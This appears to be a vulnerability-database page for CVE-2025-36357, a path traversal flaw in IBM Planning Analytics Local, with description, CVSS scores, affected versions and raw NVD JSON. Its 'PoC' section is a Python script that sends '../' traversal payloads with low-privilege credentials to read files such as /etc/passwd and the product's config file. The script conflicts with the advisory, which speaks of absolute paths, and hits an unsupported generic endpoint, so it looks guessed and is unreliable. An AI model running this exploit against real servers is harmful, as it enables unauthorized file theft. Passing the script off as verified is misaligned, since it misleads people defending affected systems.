Security Vulnerability Report
中文
CVE-2025-36357 CVSS 8.0 HIGH

CVE-2025-36357

Published: 2025-11-17 20:15:51
Last Modified: 2025-11-19 13:08:27

Description

IBM Planning Analytics Local 2.1.0 through 2.1.14 could allow a remote authenticated user to traverse directories on the system. An attacker could send a specially crafted URL request containing absolute path sequences to view, read, or write arbitrary files on the system.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:planning_analytics_local:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:planning_analytics_workspace:*:*:*:*:*:*:*:* - VULNERABLE
IBM Planning Analytics Local 2.1.0
IBM Planning Analytics Local 2.1.1
IBM Planning Analytics Local 2.1.2
IBM Planning Analytics Local 2.1.3
IBM Planning Analytics Local 2.1.4
IBM Planning Analytics Local 2.1.5
IBM Planning Analytics Local 2.1.6
IBM Planning Analytics Local 2.1.7
IBM Planning Analytics Local 2.1.8
IBM Planning Analytics Local 2.1.9
IBM Planning Analytics Local 2.1.10
IBM Planning Analytics Local 2.1.11
IBM Planning Analytics Local 2.1.12
IBM Planning Analytics Local 2.1.13
IBM Planning Analytics Local 2.1.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36357 Path Traversal PoC # Target: IBM Planning Analytics Local 2.1.0 - 2.1.14 import requests target_url = "http://target.com/tm1web/" # Path traversal payloads to read sensitive files payloads = [ "/../../../../../../../../windows/win.ini", "/../../../../../../../../etc/passwd", "/../../../../../../../../ibm/PlanningAnalyticsLocal/conf/tm1s_config.toml" ] # Authentication (low privilege user) auth = ('lowpriv_user', 'password') for payload in payloads: try: url = target_url + "api/v1/" + payload response = requests.get(url, auth=auth, timeout=10) if response.status_code == 200: print(f"[+] Success: {payload}") print(response.text[:500]) else: print(f"[-] Failed: {payload} - Status: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36357", "sourceIdentifier": "[email protected]", "published": "2025-11-17T20:15:51.490", "lastModified": "2025-11-19T13:08:26.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Planning Analytics Local 2.1.0 through 2.1.14 could allow a remote authenticated user to traverse directories on the system. An attacker could send a specially crafted URL request containing absolute path sequences to view, read, or write arbitrary files on the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-36"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:planning_analytics_local:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.1.0", "versionEndExcluding": "2.1.15", "matchCriteriaId": "E47A024C-E323-42C2-AECE-A22FC40E4F24"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:planning_analytics_workspace:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.1.0", "versionEndExcluding": "2.1.15", "matchCriteriaId": "66FACACB-88F0-471E-A582-30FED23C668B"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7251265", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}